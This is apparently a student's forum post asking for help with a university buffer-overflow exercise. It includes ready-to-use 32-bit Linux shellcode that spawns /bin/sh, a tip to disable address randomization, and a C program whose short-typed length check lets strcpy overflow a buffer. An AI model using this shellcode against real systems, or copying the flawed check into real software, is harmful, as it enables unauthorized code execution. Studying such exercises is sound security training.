hi guys i need some help with this code. i want to know if there is any buffer overflow in this code. basically this is an exercise for my university. we need to exploit it to open a shell. until now we have studied buffer overflows and format strings on linux debian 32 bit. We usually solve the exercises by putting to 0 the value of randomization_va_space and by putting this shellcode
shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
as an environmental variable and send it to the vulnerable-program to exploit it. so I guess there is no need to use the format strings here but i don't know how can I use the shellcode or any other technique to open a shell. thank you very much :)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char *argv[])
{
char filename[256];
char useless[35];
long max;
short len;
FILE *f = NULL;
if (argv[1] == NULL) goto error;
max = sizeof(filename);
len = strlen(argv[1]);
if (argv[2] == NULL) goto error;
if (len > max) goto error;
strcpy(filename, argv[1]);
if (access(filename, W_OK)) goto error;
if (strncmp(filename, "/tmp/", strlen("/tmp/")) != 0) goto error;
if ((f = fopen(filename, "a")) == NULL) goto error;
fwrite(argv[2], strlen(argv[2]), 1, f);
fclose(f);
return 0;
error:
return -1;
}